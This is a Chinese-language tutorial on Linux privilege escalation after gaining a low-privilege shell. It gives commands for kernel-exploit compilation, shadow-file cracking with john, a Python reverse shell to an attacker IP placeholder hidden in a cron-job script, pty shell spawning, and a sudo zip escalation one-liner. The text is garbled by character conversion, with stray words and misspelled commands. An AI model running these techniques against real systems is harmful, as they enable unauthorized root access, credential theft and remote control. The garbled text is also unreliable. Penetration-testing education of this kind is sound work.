在咱們拿下服務器web服務每每只是低權限用戶,對於內網滲透,咱們每每須要root權限,Linux系統提權包括使用溢出漏洞已及利用系統配置文件。python
提權前提:linux
1.拿到低權限shellweb
2.被入侵機器上有nc,python,perl等常見linux下的工具shell
3.有權上傳下載文件數據庫
1. 利用內核漏洞
通殺內核漏洞十分少見,所以咱們先應對系統相關進行信息收集。安全
利用searchsplotbash
查看發行版本: 服務器
cat /etc/issue ssh
cat /etc/*-releasesocket
lsb_realse -a
查看內核版本:
uname -a
若是具備內核溢出漏洞咱們就上傳溢出代碼,編譯執行
gcc xxx.c -o exploit
chmod +x exploit
./exploit
2. 利用明文root密碼提權
Linux密碼大多都和/etc/passwd 和 /etc/shadow 這兩個配置文件有關。Passwd裏儲存了用戶,shadow裏密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫,shadow是僅root可讀寫。
例如 破解linux用戶名和對應密碼
/etc/passwd /etc/shadow
unshadow passwd shadow >cracked
john cracked
3. 利用定時計劃任務
經過查看 /etc/crontab 文件,查看其餘用戶是否有設定的系統定時任務,並查看對應對應任務內容,執行的任務確定時對靶場機器的某個文件。
etc/crontab 文件是用來設定系統按期執行任務,須要root權限,不一樣用戶均可以有不一樣定時任務,若是在 /etc/crontab 下有某個用戶執行的定時計劃文件,可是具體目錄下沒有這個定時執行的文件,能夠自行建立反彈shell ,用建立的腳本替換原來的py腳本,netcat執行監聽得到對應用戶的權限
若是有定時執行任務的文件,能夠切換到對應的目錄,查看對應的權限,查看當前用戶是否具備讀寫權限
import os,subprocess,socket s=socket.socket() s.connect(("攻擊機ip地址","攻擊機監聽端口")) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess(["/bin/sh","-i "])
啓動監聽: nc -nlvp port
4. 密碼複用
管理員可能會設置重複使用的密碼,所以可能數據庫或者web後臺的密碼就是root密碼
擁有疑似root的祕密能夠嘗試ssh登陸,若禁止root登陸或被防火牆擋住,咱們就想辦法在低權限上輸入密碼,固然通常狀況下linux會要求用戶必須從終端設備(tty)中輸入密碼,禁止標準輸入,sudo經常不能使用
所以咱們能夠用python模擬一個終端 python -c "import pty;pty.spawn('/bin/bash')"
5. 利用zip提權
使用sudo -l 查看當前用戶可使用的root提權命令信息,發現能夠執行tar和zip相關命令。
touch exploit sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"